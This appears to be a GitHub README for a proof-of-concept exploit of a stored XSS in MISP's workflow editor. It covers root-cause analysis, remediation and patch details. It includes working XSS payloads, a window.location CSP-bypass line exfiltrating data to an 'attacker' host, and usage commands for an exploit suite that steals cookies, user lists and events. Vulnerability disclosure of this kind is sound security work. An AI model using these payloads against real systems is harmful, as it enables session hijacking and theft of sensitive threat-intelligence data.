Skip to content

franckferman/CVE-2025-67906

Repository files navigation

CVE Score GCVE CWE License Python No deps

CVE-2025-67906

MISP <= 2.5.27 - Stored Cross-Site Scripting via Workflow Engine (doT.js Template Injection)

Discovered by Franck FERMAN

Overview - Root Cause - Attack Chain - Structure - Usage - Remediation - References


Vulnerability Overview

CVE-2025-67906 (GCVE-1-2025-0031) is a Stored Cross-Site Scripting (XSS) vulnerability in MISP (Malware Information Sharing Platform) versions up to and including 2.5.27.

The vulnerability resides in app/View/Elements/Workflows/executionPath.ctp, the Workflow execution path view component. The name field of workflow triggers is persisted to the database without server-side sanitization and subsequently rendered into the DOM through the doT.js template engine without HTML escaping. An authenticated attacker can inject arbitrary HTML/JavaScript that executes in the browser session of any user who views the compromised workflow.

Because the payload is stored in the database and rendered on every page load, the XSS is persistent - it survives page refreshes, affects multiple users, and persists until the workflow is explicitly deleted.

Discovery: This vulnerability was identified and responsibly disclosed by Franck FERMAN.


CVSS Scores

Multiple CVSS assessments exist for this vulnerability:

Source Score Severity Vector
NIST NVD 9.0 Critical CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
GCVE (CIRCL) 7.1 High CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H
CNA (MITRE) 5.4 Medium CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

The score divergence reflects differing assessments of impact depth. The NIST NVD score (9.0) accounts for full Confidentiality, Integrity, and Availability impact given that the XSS payload executes with the victim's session privileges, enabling admin-level data exfiltration and workflow manipulation. The CNA score (5.4) considers only limited C/I impact for a generic XSS. The GCVE CVSS 4.0 score (7.1) introduces Attack Requirements (Privilege) and Active User Interaction modifiers.

The Scope is Changed across all assessments because the attacker's payload (injected via the MISP API) executes in a different security context (the victim's browser session).


Root Cause Analysis

The Injection Vector

MISP's Workflow Engine allows authenticated users to create and edit workflows via the REST API. The workflow data model includes a trigger component with a name field. This field is:

  1. Accepted by the API without input validation or HTML entity encoding
  2. Persisted to the database as raw text (no server-side sanitization)
  3. Rendered in the browser via the doT.js JavaScript template engine

Why doT.js is Vulnerable Here

doT.js is a fast JavaScript templating engine. It uses {{= }} for interpolation, which does not escape HTML by default. The MISP Workflow Editor uses doT.js to render trigger metadata (including the name field) into the DOM. When the name field contains HTML like <img src=x onerror=...>, the template engine inserts it as raw HTML, and the browser executes the embedded JavaScript.

The fix requires either:

  • Switching to doT.js's encoded output syntax {{! }} which HTML-escapes the value
  • Server-side sanitization before database insertion
  • Both (defense in depth)

Injection Point

POST /workflows/edit/{id}

{
  "Workflow": {
    "id": "1",
    "data": "{\"1\":{\"data\":{\"name\":\"<img src=x onerror=alert(1)>\"}}}"
  }
}

The name value inside the data JSON field is the injection point. The entire workflow graph is serialized as a JSON string within the request body.

The Rendering Context: Client-Side Graphical Engine

The vulnerability is amplified by the architectural choice of using a client-side template engine (doT.js) to render the visual workflow editor. The Workflow Editor is a graphical drag-and-drop interface where each trigger/action is displayed as a visual block. The trigger name field is rendered as a label inside these graphical blocks.

doT.js builds the visual components by generating HTML strings from templates and inserting them into the DOM. The {{= }} interpolation syntax produces unescaped output - any data interpolated into the template is treated as markup, not text. If the same name field were rendered via element.textContent (which treats input as plain text) or via doT.js's own {{! }} encoded output syntax, no XSS would be possible regardless of the input content.

The attack surface exists precisely because:

  1. A graphical editor requires rich HTML rendering (styled blocks, icons, layouts)
  2. The template engine chosen (doT.js) defaults to unescaped output ({{= }}) for performance
  3. User-supplied metadata (trigger names) flows into these templates without sanitization
  4. The result is that any string stored in the name field is interpreted as HTML by the browser

This is a common vulnerability pattern in web applications that use client-side template engines to build interactive visual interfaces: the need for rich rendering creates an implicit trust relationship between the template and its data sources, and any unsanitized user input that reaches the template becomes executable code.

Why <img onerror> and Not <script>

A raw <script> tag injected via template interpolation will typically not execute in this context. Browsers do not run <script> elements that are inserted into the DOM after initial page parsing (via innerHTML or equivalent). Event handler attributes like onerror, onload, or onmouseover on HTML elements bypass this restriction because they fire inline JavaScript when the browser processes the element's attributes, regardless of how the element was inserted.

The <img src="x" onerror="..."> vector is preferred because:

  • The src="x" guarantees an immediate load failure, triggering onerror without user interaction
  • It works across all browsers and does not require the element to be visible
  • It bypasses CSP script-src restrictions that block inline <script> tags, because the execution happens via an event handler on a non-script element

CSP Bypass via Navigation (Exfiltration)

MISP instances typically deploy Content Security Policy headers that restrict connect-src, preventing fetch() and XMLHttpRequest calls to external origins. The exfiltration payloads in this PoC bypass CSP by using window.location (navigation) instead of API calls:

// BLOCKED by CSP connect-src:
fetch('http://attacker/exfil?data=' + stolen_data);  // CSP violation

// NOT blocked - navigation is not governed by CSP:
window.location = 'http://attacker/exfil?data=' + stolen_data;  // works

CSP has no directive that controls where a page can navigate to. The navigate-to directive was proposed in CSP Level 3 but was never implemented by any browser and has been effectively abandoned. This makes window.location a reliable CSP bypass for data exfiltration from any XSS context, regardless of the CSP policy in place.

The tradeoff is that navigation is visible to the victim (the page changes). The server/redirector.py mitigates this by immediately issuing an HTTP 302 redirect back to the MISP instance, creating only a brief visible flash. From the victim's perspective, the page appears to reload.

Exfiltration data flow:

Victim browser                 Attacker (redirector.py)           MISP
      |                                 |                           |
      |-- GET /exfil?data=<stolen> ---->|                           |
      |                                 | [captures data, prints]   |
      |<-- 302 Location: misp.url ------|                           |
      |                                 |                           |
      |-- GET /workflows/view/1 ---------------------------------------->|
      |<-- Normal MISP page ---------------------------------------------|

The entire round-trip takes ~100-200ms. The victim sees a page flash at most.

Real-World Impact of Stored XSS

A common misconception in security assessments is that XSS vulnerabilities have limited practical impact ("it's just an alert box"). In real-world red team engagements, a Stored XSS - especially a no-click persistent one like this - is a high-value finding precisely because the attacker does not need the victim to click anything. The payload fires automatically when the page is rendered.

What a Stored XSS enables in practice:

  • Session hijacking: if cookies are not marked HttpOnly, the attacker steals the admin session cookie and takes over the account. Even with HttpOnly, session tokens exposed in the DOM or in API responses can be extracted.
  • Full page content exfiltration: everything the victim sees, the attacker sees. User lists, event details, API keys displayed on admin pages, organization data - all readable via document.body.innerHTML or targeted DOM queries.
  • Credential harvesting: inject a fake login form or a session timeout overlay. The victim re-enters their password into attacker-controlled HTML.
  • Lateral movement: from a compromised admin session, create new API keys, modify sharing groups, push malicious events to connected MISP instances.
  • Persistence: the payload survives page reloads and affects every user who visits the workflow. It persists until explicitly deleted.

When protections like CSP restrict outbound requests (connect-src, script-src), the exfiltration vector adapts - as demonstrated in this PoC with the window.location navigation bypass. CSP raises the bar but does not eliminate the risk. When HttpOnly prevents cookie theft, the attacker pivots to DOM-based exfiltration of the data directly visible in the authenticated session.

In a pentest/red team context, a Stored XSS on a platform like MISP (which aggregates threat intelligence, IOCs, and organizational data) is particularly critical because the data accessible through an admin session is itself high-sensitivity: indicators of compromise, internal investigation details, sharing group memberships, and inter-organizational trust relationships.


Attack Chain

1. Attacker authenticates to MISP (any role with workflow create permission)
   |
2. POST /workflows/add -> creates a new workflow, receives workflow_id + trigger_id
   |
3. POST /workflows/edit/{id} -> injects HTML/JS payload into trigger "name" field
   |   Payload: <img src="x" onerror="[JAVASCRIPT]">
   |
4. Payload persists in MISP database
   |
5. Victim (any authenticated user) visits /workflows/view/{id}
   |
6. doT.js renders trigger name as raw HTML -> browser executes JavaScript
   |
7. Impact depends on payload mode:
      - alert()           Proof of execution
      - Session hijack    Steal session cookie
      - Data exfil        Extract users, events, API keys from admin pages
      - Credential theft  Inject fake login form

Impact by Payload Mode

Mode Impact Requires
alert Confirms XSS execution Any user views workflow
alert_info Displays victim's email and URL Any user views workflow
console_info Logs user email, role, URL to DevTools Any user views workflow
exfiltrate_users Extracts user list (ID, Org, Role, Email) from /admin/users/index Admin views workflow + attacker listener
exfiltrate_page Captures current page content and user identity Any user views workflow + attacker listener
exfiltrate_events Extracts event list (ID, Org, Date, TLP, Info) Any user views workflow + attacker listener

Affected Versions

Software Affected Fixed
MISP <= 2.5.27 2.5.28

The fix is included in MISP v2.5.28. The relevant patch commit: 1f39deb.


MITRE ATT&CK Mapping

ID Tactic Technique Relevance
T1059.007 Execution JavaScript XSS payload executes JavaScript in victim's browser
T1189 Initial Access Drive-by Compromise Stored payload triggers on page visit
T1557 Collection Adversary-in-the-Browser Payload operates within the victim's authenticated session
T1539 Credential Access Steal Web Session Cookie Session cookies accessible if HttpOnly is not set
T1005 Collection Data from Local System Exfiltration of user lists, events, and page content

Project Structure

poc_alert_cve_2025_67906.py                # Simple PoC - alert() confirmation (~200 lines)
poc_exfiltrate_cve_2025_67906.py           # Simple PoC - data exfiltration demo (~150 lines)
cve_2025_67906.py           # Full exploit suite - 7 modes, custom payloads
server/
  redirector.py             # Exfiltration listener with transparent 302 redirect
  • poc_alert_cve_2025_67906.py: Minimal, readable. Injects alert() to confirm XSS. Read this first.
  • poc_exfiltrate_cve_2025_67906.py: Minimal exfiltration demo. Captures victim email/URL and sends to attacker server.
  • cve_2025_67906.py: Full exploit suite with 7 payload modes, custom payload support, quiet mode.
  • server/redirector.py: HTTP server that captures exfiltrated data and transparently redirects the victim back to MISP.

Installation

Python 3 (standard library only, zero external dependencies).

git clone https://github.com/franckferman/CVE-2025-67906.git
cd CVE-2025-67906

Usage

Quick Verification (poc_alert_cve_2025_67906.py)

Confirm the vulnerability exists with a harmless alert():

python3 poc_alert_cve_2025_67906.py https://misp.target.org YOUR_API_KEY

Visit the URL printed by the script. An alert box confirms XSS execution.

Data Exfiltration Demo (poc_exfiltrate_cve_2025_67906.py)

# Terminal 1: start the exfiltration listener
python3 server/redirector.py https://misp.target.org --port 8000

# Terminal 2: inject the payload
python3 poc_exfiltrate_cve_2025_67906.py https://misp.target.org YOUR_API_KEY --attacker YOUR_IP:8000

When a victim visits the workflow URL, their email, username, and page URL are captured by the listener.

Full Exploit Suite (cve_2025_67906.py)

# Alert mode (default)
python3 cve_2025_67906.py https://misp.target.org API_KEY

# Extract user list from admin page
python3 cve_2025_67906.py https://misp.target.org API_KEY \
    --mode exfiltrate_users --attacker YOUR_IP:8000

# Extract event list
python3 cve_2025_67906.py https://misp.target.org API_KEY \
    --mode exfiltrate_events --attacker YOUR_IP:8000 --limit 50

# Custom payload
python3 cve_2025_67906.py https://misp.target.org API_KEY \
    --payload '<img src=x onerror="document.location=YOUR_URL+document.cookie">'

# Quiet mode (minimal output)
python3 cve_2025_67906.py https://misp.target.org API_KEY --mode alert --quiet

Available Modes

Mode Description
alert Simple alert box (default, safe for demo)
alert_info Alert box with victim URL, email, user agent
console Console.log confirmation
console_info Log user email, role, URL to DevTools console
exfiltrate_users Extract user list from /admin/users/index (requires admin victim)
exfiltrate_page Capture current page content and user identity
exfiltrate_events Extract event list with ID, Org, Date, TLP, Info

Remediation

For MISP administrators

  1. Upgrade MISP to 2.5.28 or later (changelog)
  2. Restrict workflow creation to trusted roles via MISP's role permission system
  3. Monitor audit logs for workflow creation/modification by unexpected users
  4. Review existing workflows for suspicious HTML in trigger names

For MISP developers

  1. Switch doT.js interpolation from {{= }} (raw) to {{! }} (HTML-encoded) for user-supplied fields
  2. Server-side sanitization of the name field before database insertion (strip HTML tags, encode entities)
  3. Content Security Policy headers to prevent inline script execution as defense in depth

References

CVE Records

Patch and Advisories

Technical References

Credits

  • Franck FERMAN - Vulnerability discovery, PoC development
  • Sami Mokaddem (Graphman) - Credited in GCVE advisory

Legal Disclaimer

This tool is provided for authorized security auditing, academic research, and educational purposes only. Usage against systems without explicit written permission from the system owner is illegal. The author accepts no liability for unauthorized or malicious use.